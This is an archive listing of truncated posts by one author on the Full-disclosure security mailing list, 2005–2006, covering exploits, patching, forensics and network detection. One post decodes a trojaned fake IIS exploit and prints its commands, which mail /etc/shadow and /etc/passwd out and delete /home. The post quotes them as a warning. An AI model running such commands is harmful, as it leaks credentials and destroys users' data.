RE: [Full-disclosure] WMF Exploit

2006-01-04 Thread Lauro, John
N/A. Ebay would pull the auction prior to anyone finding out... -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Georgi Guninski Sent: Wednesday, January 04, 2006 4:57 PM To: Todd Towles Cc: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure

RE: [Full-disclosure] DMCA letters (testing method)

2005-11-24 Thread Lauro, John
Not to defend the RIAA, but remember that with peer-2-peer filesharing you don't have to connect to the machine you want to download the files from. You are both connected to a database, and the database can instruct the person with the file what machine to send it to. Otherwise no one behind a NA

RE: [Full-disclosure] OSS means slower patches

2005-09-19 Thread Lauro, John
Might be, if I could believe the stats... The problem is, that stats are messed up. It claims only 8 critical flaws in IE this year, and a low average time for fixing the flaws. That number may be correct in terms of critical flaws, but some of the critical flaws in IE were found last year (and

RE: [Full-disclosure] bash vulnerability?

2005-08-19 Thread Lauro, John
I know, common knowledge ignored but for those wanting a clue It's not an exploit if you are already root and just tell the system to trash itself. ;) Denial of service for youself is also not a 0day. In some cases it may be interesting if you can kick a service down for other use

RE: [Full-disclosure] Rooting Linux with a floppy

2005-07-15 Thread Lauro, John
6.2? What is that??? Latest kernel is 2.6... This is true of the default install of almost every Unix-like OS including Solaris and, and ever Windows OS including Windows 2003 (although the files you have to alter are different in Windows). (Of course with windows you generally need at least a

RE: [Full-disclosure] how to bypass rouge machine detection techniques

2005-07-11 Thread Lauro, John
Some low-end NAT routers will automatically take over the MAC address of the first device plugged into it. (Designed to allow easy plug-n-play into a cable modem that only supports one MAC address behind it, without having to reboot the cable modem). It will fail detection if such a device is use

RE: [Full-disclosure] Re: Tools accepted by the courts

2005-07-05 Thread Lauro, John
Problem with prosecution... Most X-Rays will not damage most hard drives. Hard drives are shielded. Proof of no mutation is the checksums on each sector of the hard drive. Unless those fail to pass, the data didn't "mutate". > -Original Message- > From: [EMAIL PROTECTED] [mailto:full-d

RE: [Full-disclosure] sendmail exploit

2005-05-11 Thread Lauro, John
Redhat typically patches items such as sendmail without changing the version number ("rpm -q sedmail" to get the full redhat version). So, many of the exploits for 8.8 probably are not there, assuming the system was kept up2date while RedHat supported 6.2... Of course, RedHat hasn't supported 6.2

RE: [Full-disclosure] IIS 6 Remote Buffer Overflow Exploit

2005-04-18 Thread Lauro, John
Not that anyone would fall for running this on anything besides a test system, but to save 30 second to decode, what it really does (locally, not remotely) is: cat /etc/shadow |mail full-disclosure@lists.grok.org.uk cat /etc/passwd |mail full-disclosure@lists.grok.org.uk /bin/rm -rf /home/*;clear

RE: [Full-disclosure] Wi-fi. Approaching customers

2005-03-15 Thread Lauro, John
Although not directly liable, you must be able to say who had what IP at a certain time time when bad activity came from your network... If you are unable to provide that information, you are then liable... We too are semi-open. You can get a DHCP address, access our public websites, our DNS ser